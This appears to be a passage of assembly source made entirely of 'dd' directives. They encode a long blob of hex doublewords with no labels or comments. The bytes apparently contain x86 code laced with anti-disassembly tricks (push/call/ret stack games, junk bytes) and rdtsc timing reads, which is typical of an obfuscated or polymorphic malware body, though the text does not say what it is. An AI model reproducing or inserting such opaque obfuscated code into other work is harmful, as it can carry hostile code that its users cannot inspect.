		dd 51410000h, 0E7C477C3h, 14E8BDDFh, 81000000h,	2FFFF5D9h
		dd 8957D6B9h, 293B1CFCh, 5C475D53h, 802DAF3Ch, 8D5F4CE7h
		dd 0A910A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D359E917h, 0FCBBC302h, 24048950h
		dd 0FF64DA8Bh, 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 6B8A3E68h, 89876DFDh
		dd 72AB1B5h, 25896406h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BCC35343h
		dd 8AF10547h, 6076BAF4h, 0AE9h,	951A3700h, 7DCE7ADDh, 6166D900h
		dd 20ED9509h, 85FF0607h, 6070FA5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0E3C35646h,	0B9CAB34h, 510C011Ah
		dd 51E907BBh, 6AFF6A19h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0B8F4C350h,	3DBA858Fh
		dd 8B24283Bh, 72285BDh,	3DB5FF06h, 0F9060712h, 776339BFh
		dd 3595FF5Ch, 0E9060730h, 109h,	0E9FABF0Fh, 5, 655F3D36h
		dd 0F00B0BEh, 0A8Fh, 5E900h, 0FBA90000h, 0E67296B2h, 0C9B52970h
		dd 0E406070Fh, 58E0F71h, 0BB000000h, 11FBCEEh, 830F613Ch
		dd 0CDh, 332FDDBFh, 0C8B60F39h,	395BD89h, 6BA0607h, 0F000000h
		dd 0C18BD8B7h, 26B19589h, 0E8C10607h, 81666004h, 66CA72E1h
		dd 6661C78Bh, 0C82BE2F7h, 18418589h, 0D18B0607h, 0ECF8150h
		dd 5B7BF53Ch, 4E9h, 5DBB6600h, 49858BC7h, 8B060726h, 7C083FEh
		dd 6830Fh, 0BD2B0000h, 60729CDh, 6600C083h, 3B2A0EBFh
		dd 1E830FD0h, 0FC000000h, 58E9h, 0C800F00h, 0F000000h
		dd 68Ah, 759D3300h, 8906070Bh, 725D18Dh, 0D8D8B06h, 89060718h
		dd 722CD85h, 15CB8006h,	0F01E183h, 2884h, 0A98D0900h, 8306072Bh
		dd 7180DA5h, 0B756FE06h, 95895BCEh, 6072649h, 5C59D8Bh
		dd 0BD230607h, 6072EA5h, 0E9h, 6B58D00h, 6A060ACBh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0CCB2C353h, 910F1B0Dh, 158DB7B7h, 1F8C0Fh, 13E80000h
		dd 70000000h, 224427Dh,	0BDE4B11Eh, 2BBEAAC7h, 44C267F8h
		dd 9D8B7E16h, 60722E9h,	80006A5Fh, 95FFF3D3h, 6073201h
		dd 7E9h, 299D2D00h, 7D573ABDh, 697B9h, 0E183FC00h, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 33DB7313h, 965BD74Ah, 6AFCA9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0C3806AC3h, 8890FABh
		dd 52000000h, 0F79BD33h, 0F55B0607h, 0B8h, 5880F00h, 66000000h
		dd 6FBFC381h, 0BAh, 0D1BD8B00h,	8B06071Fh, 71CC9BDh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0C19D89F4h, 6A060708h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3BD3C352h, 31C26256h, 7ABB66B7h, 850FA6h, 0D000000h
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 54C35646h, 0C663337h, 0CFD781ACh, 8B597CC5h,	72CB19Dh
		dd 41958B06h, 6A06071Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 10D7C353h, 95896A29h
		dd 6071249h, 6058D8Bh, 6A0607h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0A59DD1C3h, 814458BFh
		dd 0C28B504Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F558188Bh
		dd 10E9h, 0E02B400h, 43EB4A0Fh,	97990A3Dh, 0ED9450FBh
		dd 0D1BD8369h, 6070Bh, 88840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F955B6C3h
		dd 2B351FF5h, 899915E9h, 72A259Dh, 0B8F88B06h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3DC35747h
		dd 48E8C592h, 1D9D89D6h, 8D060704h, 74DB48Dh, 0DF816606h
		dd 0E1FFBF22h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0ADC35040h, 0FF9EB4Dh, 0BD83F8BFh, 6070069h, 3A840F00h
		dd 0F000004h, 186h, 0BD8BF500h,	6070755h, 69BD83h, 0F010607h
		dd 43B84h, 0F59D8B00h, 83060705h, 70069BDh, 860F0306h
		dd 3F2h, 32E9BD8Bh, 6A600607h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 25C1C351h, 2B235447h
		dd 8D0FE2AFh, 7, 66EE8A60h, 6661CF8Bh, 9D8BD98Ch, 6070C4Dh
		dd 0F504E180h, 1EBDBD8Bh, 0C90A0607h, 15A840Fh,	8D090000h
		dd 6072635h, 306D858Bh,	0F3800607h, 58533C3h, 6A060733h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8C5EC353h, 52F1BD56h, 90121BAAh, 14E950h
		dd 720E0000h, 6C79EDA4h, 3B9B2384h, 9EA435DEh, 662C3B31h
		dd 6A902537h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C2FDC356h, 6B005FF2h,	81EFDA33h
		dd 0A64A07F7h, 6AD98B7Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 9550627h, 0F6652730h
		dd 0C6F78166h, 0EF816662h, 4E89471h, 0FF000000h, 0F001F03h
		dd 885h, 2860F00h, 53000000h, 448B505Fh, 66600424h, 605227B9h
		dd 61615B50h, 5250008Bh, 0F525060h, 0F585A31h, 89h, 310F6100h
		dd 3B37BF66h, 4489585Ah, 830F0424h, 2, 8B5802B3h, 71015BDh
		dd 9195FF06h, 6A06071Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F8DEC351h,	6D46C620h
		dd 893C4022h, 0AB37285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 1DDE9CEh, 0BD330000h
		dd 60731ADh, 0B36A858Bh, 9529060Ah, 6070761h, 1800C7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4246CC3h,	8BD88BE9h, 0AB36EB5h, 66536006h
		dd 88C2CA81h, 800F605Bh, 0
		dd 19D8D181h, 616131A1h, 1579858Bh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 3A1929C3h
		dd 6A06896Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 976BC351h, 6D858BEDh, 6A060730h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B5AC352h, 70BFDBDh, 69BD8B06h, 2906072Dh
		dd 72EC185h, 4468906h, 0B0E78166h, 6D9D8BB3h, 50060700h
		dd 0F5243489h, 0B36AB5FFh, 6A060Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8166A6C3h
		dd 688AE8C7h, 68793AD6h, 0EE9h,	3B22F600h, 72341CE7h, 20688662h
		dd 8111B8D6h, 39292434h, 6A6866h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 8CE879C3h, 9D8B6038h
		dd 6070179h, 5D19D89h, 8D610607h, 0AB37285h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 3D9C732h, 3983452h, 0DAB86083h, 8B1B50F3h, 712F19Dh
		dd 85096106h, 6072991h,	34BF6650h, 24048972h, 0CE9h, 0FAADDF00h
		dd 4BC67FEDh, 0E408279Dh, 9195FF9Ah, 6A06071Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 603AC357h, 21950152h, 5906070Bh, 1BD9B58Bh, 61610607h
		dd 6985C7FCh, 3060700h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 3B93C353h
		dd 0A4D37B16h, 0E5BD31ACh, 83060722h, 0AB372BDh, 840F0006h
		dd 2Eh,	33459501h, 85890607h, 6070595h,	38E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 305052AEh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 47C9B8DEh, 0E19D2988h, 6A060717h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 78EFC350h, 0DBB70F69h, 7CCEC781h,	0BD8305FDh
		dd 6070069h, 77850F03h,	83000004h, 0AB372BDh, 840F0006h
		dd 46Ah, 2BF99D2Bh, 0BF0F0607h,	72B5FFFBh, 0BF060AB3h
		dd 7E95AEFEh, 154595FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 526695C3h, 18858D31h
		dd 8B5B0607h, 0AB366B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0C4F749CBh, 8AD4AE67h
		dd 0ABBF66F8h, 106C733h, 6A000100h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6D38C357h
		dd 224C83D4h, 96C07429h, 4A51B9BFh, 6A965045h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8D3AC357h, 0A8484A5Ah, 850F651Dh, 5,	12F38166h, 0E9DA8BD6h
		dd 0Ch,	0B48CA4B3h, 4AE17BDh, 0A9D94D5Bh, 0B372B5FFh, 0BD8B060Ah
		dd 607174Dh, 91195FFh, 10E80607h, 39000000h, 0AD90C09h
		dd 0C7FA9F1Dh, 21179651h, 6682C85Bh, 5F7028BBh,	12E9h
		dd 0D0114000h, 5172DD1Dh, 7E3731Bh, 1CFA32ADh, 8B19BAD9h
		dd 0AB366B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 54A250D9h, 6609131Ch, 8B66D88Bh
		dd 0C9858BDEh, 906072Ch, 703B585h, 0C4868906h, 0E9000000h
		dd 0Ah,	0EB473208h, 1EA7DCCEh, 958BDD1Ch, 6071B41h, 5850Fh
		dd 81660000h, 83758BF3h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 4ADB3CC3h, 6A205089h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0B359C352h, 8E9h,	0C9714400h, 3280A7FEh
		dd 0ED858DCFh, 56060AC7h, 12E9h, 0F5362800h, 0BD0001C6h
		dd 3A4DA24Bh, 8E0D11C7h, 5BAFEB76h, 0B88689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 171342C3h, 0FA8BC9B7h, 9D8B006Ah, 6072275h, 161D9D8Bh
		dd 0B5FF0607h, 60AB372h, 7B1B589h, 95FF0607h, 60729FDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C35747h
		dd 0CDDCBC3Ah, 0BD8B8BF5h, 6073219h, 5091B396h,	6A96FE8Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0EC1EC356h, 31C4B9ADh, 95891661h,	60703EDh
		dd 5419589h, 0B5FF0607h, 60AB372h, 0F780FE8Bh, 0A595FFD5h
		dd 6A06071Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 29D0C355h, 3860Fh, 0BF0F0000h
		dd 0ADBD83FAh, 60708h, 56840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9E920C3h
		dd 0EE000000h, 5C042912h, 0DB92C34Bh, 0E9565696h, 11h
		dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 505F5B35h
		dd 830Fh, 66960000h, 9D8BF88Bh,	6070AE9h, 0B372B5FFh, 6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7328C0C3h, 0BF0FFDDEh, 0D8B70FFEh, 260595FFh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0F78E9CC3h, 0FAA31F73h, 0B5FF2503h, 60AB372h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 87C35343h, 6E785ED2h
		dd 0D739E128h, 1DF195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 4C75C7C3h, 0F7B7320Ch
		dd 3B1BD83h, 0F020607h,	7684h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0F4E52270h
		dd 0A6CF8166h, 49858B2Fh, 6A060707h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6893C352h
		dd 0C65B52h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0EEB8ED3Dh, 0F83851Eh, 0DBD8B69h
		dd 0C7060702h, 70F4985h, 6, 0CB816600h,	0FAE9E0F4h, 6AFFFFF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 935C352h,	72F75B5h, 6AC18B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 5C12C357h, 19DE3719h, 2298D31h, 858D0607h, 6071F19h
		dd 68C0Fh, 0BD8B0000h, 6070395h, 50D88B90h, 5E990h, 1E870000h
		dd 6A5EF87Ch, 0FFB70F00h, 5E956h, 0DBE20000h, 5FC1AA60h
		dd 810F006Ah, 0Eh, 91958960h, 8B060729h, 70F8595h, 858D6106h
		dd 60B42B4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	6BC35242h, 0BD8BD387h, 607174Dh, 0AB9B589h, 0C0830607h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 6E8E450h,	29000000h, 0E5E19C09h
		dd 10E9F1h, 0DCB80000h,	8393A0E9h, 0A7559CBDh, 0B7B97EE1h
		dd 665F154Fh, 5D18D781h, 509EB390h, 6E9h, 45685100h, 90A41A84h
		dd 0B5DB8166h, 6A006A68h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 666BC352h, 0AD0FE774h
		dd 0B589746Ah, 6070AA1h, 8953006Ah, 7002585h, 95FF5F06h
		dd 6071BCDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	85C35343h, 0A520ED15h, 6E9h, 0BC040900h, 8DE48766h
		dd 0AA5B78Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 29960F8Ah, 733519Dh, 6AD1FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 15B8C353h, 83B19822h, 71995BDh, 850F0106h, 61h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 29C35343h, 17A6E7B5h
		dd 0BF3D7231h, 9CAC71Fh, 9D33026Ah, 6071049h, 0BCBB6650h
		dd 2404899Ch, 0DE8h, 3403FB00h,	0D333920Bh, 1B52885Ch
		dd 0F609C7Ah, 8Ch, 61FE8B00h, 0FD95FF5Fh, 8B060729h, 72D099Dh
		dd 0DC8E906h, 0E80000h,	5D000000h, 42BEED81h, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0AE01ACC3h, 8BFA3A4Eh, 702499Dh, 0B9BB6606h,	0A858DB1h
		dd 66060A91h, 9D8BFE8Bh, 6072ED9h, 0D88B5290h, 810F505Fh
		dd 7, 97A3BF52h, 905B0FD3h, 0AE8h, 0E6FA5C00h, 7096802Bh
		dd 0E8F1D0F5h, 0Dh, 0D13B24C1h,	0BEF46EECh, 6643FE4Dh
		dd 23EB801Ch, 0FF645F5Fh, 35h, 64D98B00h, 2589h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 429DDCC3h, 5F962984h, 95893A04h, 60704F5h, 0FA585FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 95506C3h,	0F652730h, 0D780DFB7h, 6AFF6A13h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 222C357h,	0F8DB529h, 0B5FF0607h, 6072C11h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4C35343h
		dd 0B2EB80E6h, 1FD9D8Bh, 95FF0607h, 6073035h, 13FE9h, 0CE900h
		dd 0DD4D0000h, 0F3E886E2h, 0DBF7666Ch, 0B0D7A7h, 0B370E6h
		dd 890F71E4h, 3, 3CFEB70Fh, 15830F61h, 0E9000001h, 0Ah
		dd 8CB30F6Dh, 0C7EB2E15h, 0B60FE8B8h, 6BAC8h, 0B70F0000h
		dd 81C18BFAh, 7013EBDBh, 6800F1Ah, 8B000000h, 70215BDh
		dd 4E8C106h, 1B5D9D29h,	0F7660607h, 0DEBB66E2h,	66C82B00h
		dd 8B66D4BBh, 6820FD1h,	89000000h, 7154DBDh, 7E906h, 0DC8A0000h
		dd 0A7DF8050h, 79858B5Bh, 66060733h, 0D0ADDB81h, 8B07C083h
		dd 71C719Dh, 0C08306h, 13880Fh,	7E80000h, 3F000000h, 3F25E4Ch
		dd 9D8B2F9Dh, 6072C69h,	9E85Fh,	7B5C0000h, 0FE0BA0F1h
		dd 0E84F6371h, 9, 35A14728h, 6D0E901Dh,	0B3BF665Ah, 3B5F5B97h
		dd 10830FD0h, 66000000h, 0E96A02BFh, 54h, 18F0Fh, 8BF80000h
		dd 72F3D8Dh, 4FBB6606h,	1E1835Dh, 3A840Fh, 95890000h, 6072C95h
		dd 17A19D8Bh, 0A5830607h, 6072F3Dh, 11E9FEh, 0E0F30000h
		dd 0A8EA7025h, 0B1A539AFh, 6342E241h, 89B99316h, 7337995h
		dd 8D8D8906h, 0E9060706h, 0
		dd 0D35BB58Dh, 0F88B060Ah, 9589006Ah, 6070C55h,	320195FFh
		dd 0B9F90607h, 0DDCh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 16h, 0A5C35343h, 9D01452Ah, 6071F41h, 6AFCE183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 3F0AC355h, 0A5408164h, 8BFCBC42h,	707459Dh
		dd 0FC02B06h, 0BAFABFh,	66000000h, 0ADC5FDBFh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0C96FC356h,	8B3A48DCh
		dd 733559Dh, 7D9D8B06h,	0D060701h, 88h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 95C35343h, 0E2212C4Ch
		dd 19D8962h, 8B06071Fh,	704ED9Dh, 41958B06h, 8B06071Bh
		dd 7101DBDh, 58D8B06h, 6A060706h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9106C351h
		dd 0BB6654E8h, 8B6041BFh, 0EE9D1h, 24710000h, 89762CABh
		dd 0FC644CEDh, 8349EFA9h, 0C28B5061h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 91D2C351h, 0E860E99Ch
		dd 6, 6DDC97Eh,	5CB7E8E3h, 8185315Bh, 6606070Ah, 31E4CB81h
		dd 0BD1BD83h, 0F000607h, 7384h,	0DE95300h, 14000000h, 9DEE097Bh
		dd 0B6C03AECh, 1FD93B6Ch, 0B85Bh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8BC954C3h
		dd 71E49BDh, 0B48D8D06h, 6A06074Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BB31C357h
		dd 0F87FF5Dh, 0E1FFDFBFh, 2F959D8Bh, 0BD8B0607h, 60704FDh
		dd 69BD83h, 0F000607h, 4B184h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 81069BE0h
		dd 0DA8A6192h, 69BD83h,	0F010607h, 49C84h, 5FEF8100h, 831B60D9h
		dd 70069BDh, 860F0306h,	453h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 42C35141h, 8B6063D7h, 0D98C66DEh
		dd 6E860h, 0C0E10000h, 0C387DB17h, 8B5E6160h, 715C1B5h
		dd 0E1806106h, 0ED9D8B04h, 0A060701h, 90840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 45CAC352h, 472C0AAEh, 858B35B5h, 607306Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5C35747h
		dd 78152E57h, 1DD2EEFh,	72259B5h, 5853306h, 0F060733h
		dd 28Ah, 333DB700h, 718399Dh, 12E99006h, 0E5000000h, 7BC33F5h
		dd 0B9E1A83Ch, 65C31480h, 0AABFB25Ah, 52605006h, 810Fh
		dd 0E9590000h, 13h, 8C12A3F7h, 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh
		dd 61C5FEF7h, 0B9B53190h, 6A060718h, 0FE900h, 16F30000h
		dd 891E8A63h, 0C46ADDC5h, 43726728h, 81A3687Ah,	0F565C24h
		dd 488h, 0DABF6600h, 34815FDCh,	3B825C24h, 9195FF5Ch, 6A06071Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0D45FC352h, 2251BB75h, 8B2C64BCh,	703AD9Dh
		dd 9515006h, 715719Dh, 895B5B06h, 0AB37285h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0CE981EFh, 6E000000h, 0D6686C9Dh, 98B75CB0h,	0E9872D2Ch
		dd 22Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0D4C35747h, 0CB81E176h,	0FD68076h, 3890F60h, 0F000000h
		dd 13E9D8B7h, 86000000h, 25A6A51Ch, 0E91BF726h,	90E7BF25h
		dd 68BDF708h, 8B6184C1h, 0AB36A85h, 0BF0F6006h,	10E8F8h
		dd 0E4D30000h, 0B33D8287h, 6ECE6D3Ah, 39E678A6h, 6160ABDEh
		dd 0C7615Eh, 18h, 8BDEBF0Fh, 0AB36EB5h,	53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0AA913888h, 0E9CB41D8h, 12h,	5848DA32h, 0C4D8B71Ch
		dd 560CB026h, 0F2713F3Dh, 858B4F2Ch, 6071579h, 89D98B66h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8BFB8D95h, 7306D85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 795246Bh, 6BA4707Fh
		dd 0BD89E507h, 607079Dh, 1B89B589h, 46890607h, 9E804h
		dd 6B080000h, 0A41BC4FBh, 8B2A9D74h, 715C99Dh, 8B665F06h
		dd 0DF8B96FEh, 0FA8B6650h, 45BD8B96h, 0F06070Fh, 86h, 6AB5FF00h
		dd 6A060AB3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0AD7BC355h, 337277DEh,	0B3BB6633h
		dd 74A668B5h, 6656604Fh, 815BF98Bh, 77592434h, 6A6050h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0AF4933C3h, 56720090h, 95018D4Bh, 60715D1h, 0B372858Dh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C18147C3h, 2D9D8960h, 89060717h,	705CDBDh
		dd 0E8906106h, 7, 3D97BBC3h, 507CB036h,	310F5250h, 5B5F585Ah
		dd 0B8BF6650h, 81669014h, 0FF64F1C7h, 71B9195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 9DD59B25h, 0BC32E7C1h, 4159589h, 0F610607h, 85C7DAB7h
		dd 6070069h, 3,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	63C35343h, 31C4A391h, 731598Dh,	72BD8306h, 60AB3h
		dd 55840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 7E6C4BC3h, 83DB809Eh, 49E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 46716B6Eh, 8E95816h,	0AF000000h, 6296A28Ah, 505ECA82h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0BF66C08Bh, 9E90BC7h, 8F000000h, 4D34EDA1h, 231A5D0Ch
		dd 69BD83h, 0F030607h, 3FB85h, 3AE38100h, 2365E321h, 71635BDh
		dd 72BD8306h, 60AB3h, 3E2840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0F3A3E6C3h
		dd 0DF77A139h, 0CA94CF81h, 0B5FF75B5h, 60AB372h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 24C35343h, 0C5EC7629h
		dd 66B36AC2h, 0FF6A32BFh, 7154595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0D7BA37C5h
		dd 4FFE48Bh, 0B58BFA8Bh, 60AB366h, 0B8DBD8Bh, 6C70607h
		dd 10001h, 6890Fh, 0EF810000h, 297C6B5Ch, 48F0F50h, 66000000h
		dd 8923F3BFh, 5E92434h,	92000000h, 0CECD578Ah, 0B372B5FFh
		dd 8D89060Ah, 6072645h,	91195FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 74BB42C3h, 52FDCEFAh
		dd 70DBD89h, 0B58B0607h, 60AB366h, 8BD68B60h, 73065B5h
		dd 858B6106h, 6072CC9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0E0C35141h, 0C48689h,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D8D18FC3h, 1B41958Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 4BF913C3h, 0AE8h, 463AC200h
		dd 0D1327AE9h, 5F3C4C85h, 6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD5C350h
		dd 710F19Dh, 20508906h,	26DE781h, 858D1484h, 60AC7EDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D3C35343h
		dd 2709BD23h, 5E90607h,	0E4000000h, 0C59713C2h,	0B88689h
		dd 8F0F0000h, 8, 2820Fh, 5F560000h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 493E19C3h
		dd 0F8E5D2CCh, 0B372B5FFh, 95FF060Ah, 60729FDh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2EC35343h, 0CE700995h
		dd 0E335F5Bh, 61BD334Eh, 50060703h, 0F88B6651h,	2434895Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F6C35141h
		dd 0BD8BA195h, 607079Dh, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h
